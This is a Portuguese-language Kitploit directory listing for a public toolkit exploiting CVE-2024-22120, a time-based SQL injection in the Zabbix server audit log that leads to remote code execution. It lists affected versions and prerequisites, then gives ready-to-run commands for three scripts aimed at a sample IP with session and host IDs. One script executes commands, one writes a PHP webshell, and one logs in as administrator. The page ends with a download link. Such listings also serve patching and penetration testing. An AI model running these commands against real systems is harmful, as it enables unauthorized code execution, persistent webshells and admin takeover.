Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/w01fh4cker/cve-2024-22120-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubw01fh4cker/cve-2024-22120-rce

CVE-2024-22120-RCE

Injeção SQL baseada em tempo no log de auditoria do servidor Zabbix --> RCE

Ver Repositório
140222há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-22120 ToolKit

Versões Afetadas

root@kitploit:~
6.0.0 - 6.0.27
6.4.0 - 6.4.12
7.0.0alpha1

Crédito

https://x.com/mf0cuz

https://support.zabbix.com/browse/ZBX-24505

https://packetstormsecurity.com/files/137454/Zabbix-3.0.3-Remote-Command-Execution.html

Premissa

  • um usuário de baixo privilégio

  • Ter permissão para executar scripts

Uso

CVE-2024-22120-RCE

Capture pacotes para obter sessionid e hostid:

root@kitploit:~
python -m pip install requests pwntools

python CVE-2024-22120-RCE.py --ip 192.168.198.136 --sid f026d1c7a3c36537cfe78fed35c7456a --hostid 10084

CVE-2024-22120-Webshell(Não utilizável na maioria dos casos)

se você já tiver um ID de sessão de usuário com privilégios de Administrador, tente:

root@kitploit:~
python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --aid fe647173d7769d55a43f161a68b256e0 --hostid 10084 --file shell.php

caso contrário:

root@kitploit:~
python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --sid f026d1c7a3c36537cfe78fed35c7456a --hostid 10084 --shell shell.php

Mas quase todos não podem ser gravados no webshell através de echo, porque o usuário de execução é zabbix:

CVE-2024-22120-LoginAsAdmin

root@kitploit:~
python CVE-2024-22120-LoginAsAdmin.py --ip 192.168.198.136 --sid decf4ef56988027d62ca1db2a00d8346 --hostid 10084

teste:

substitua e atualize:

faça login como admin!!!

Baixar ferramenta